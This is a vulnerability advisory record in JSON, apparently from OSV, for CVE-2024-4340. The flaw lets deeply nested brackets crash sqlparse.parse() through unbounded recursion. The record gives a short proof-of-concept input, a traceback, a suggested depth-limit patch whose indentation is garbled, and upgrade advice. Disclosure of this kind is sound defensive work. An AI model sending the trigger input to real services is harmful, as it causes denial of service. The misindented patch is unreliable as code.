{"id":"CVE-2024-4340","aliases":["GHSA-2m57-hf25-phgg","PYSEC-2026-1940"],"title":"sqlparse parsing heavily nested list leads to Denial of Service","summary":"sqlparse parsing heavily nested list leads to Denial of Service","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"sqlparse","product":"sqlparse","ecosystem":"pip","affected":["sqlparse < 0.5.0"],"patched":["sqlparse 0.5.0"],"published":"2024-04-15","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:10.904279272Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-2m57-hf25-phgg","references":[{"url":"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-2m57-hf25-phgg"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-4340"},{"url":"https://github.com/andialbrecht/sqlparse/commit/b4a39d9850969b4e1d6940d32094ee0b42a2cf03"},{"url":"https://github.com/andialbrecht/sqlparse"},{"url":"https://research.jfrog.com/vulnerabilities/sqlparse-stack-exhaustion-dos-jfsa-2024-001031292"}],"tags":["osv","pip"],"epss":0.03237,"epssPercentile":0.87728,"ingestedAt":"2026-07-08T18:25:44.565Z","slug":"CVE-2024-4340","body":"## Overview\n\n### Summary\nPassing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.\n\n### Details + PoC\nRunning the following code will raise Maximum recursion limit exceeded exception:\n```py\nimport sqlparse\nsqlparse.parse('[' * 10000 + ']' * 10000)\n```\nWe expect a traceback of RecursionError:\n```py\nTraceback (most recent call last):\n  File \"trigger_sqlparse_nested_list.py\", line 3, in <module>\n    sqlparse.parse('[' * 10000 + ']' * 10000)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py\", line 30, in parse\n    return tuple(parsestream(sql, encoding))\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py\", line 36, in run\n    stmt = grouping.group(stmt)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 428, in group\n    func(stmt)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 53, in group_brackets\n    _group_matching(tlist, sql.SquareBrackets)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 48, in _group_matching\n    tlist.group_tokens(cls, open_idx, close_idx)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 328, in group_tokens\n    grp = grp_cls(subtokens)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 161, in __init__\n    super().__init__(None, str(self))\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 165, in __str__\n    return ''.join(token.value for token in self.flatten())\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 165, in <genexpr>\n    return ''.join(token.value for token in self.flatten())\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  [Previous line repeated 983 more times]\nRecursionError: maximum recursion depth exceeded\n```\n\n### Fix suggestion\nThe [flatten()](https://github.com/andialbrecht/sqlparse/blob/master/sqlparse/sql.py#L207) function of TokenList class should limit the recursion to a maximal depth:\n```py\nfrom sqlparse.exceptions import SQLParseError\n\nMAX_DEPTH = 100\n\n    def flatten(self, depth=1):\n        \"\"\"Generator yielding ungrouped tokens.\n\n        This method is recursively called for all child tokens.\n        \"\"\"\n    if depth >= MAX_DEPTH:\n        raise SQLParseError('Maximal depth reached')\n        for token in self.tokens:\n            if token.is_group:\n                yield from token.flatten(depth + 1)\n            else:\n                yield token\n```\n\n### Impact\nDenial of Service (the impact depends on the use).\nAnyone parsing a user input with sqlparse.parse() is affected.\n\n\n## Affected packages\n\n- `sqlparse < 0.5.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `sqlparse 0.5.0`","depth":"twilight","depthScore":42,"depthScoreParts":{"impact":41.3,"likelihood":0.6,"exploitation":0,"ransomware":0},"changes":[]}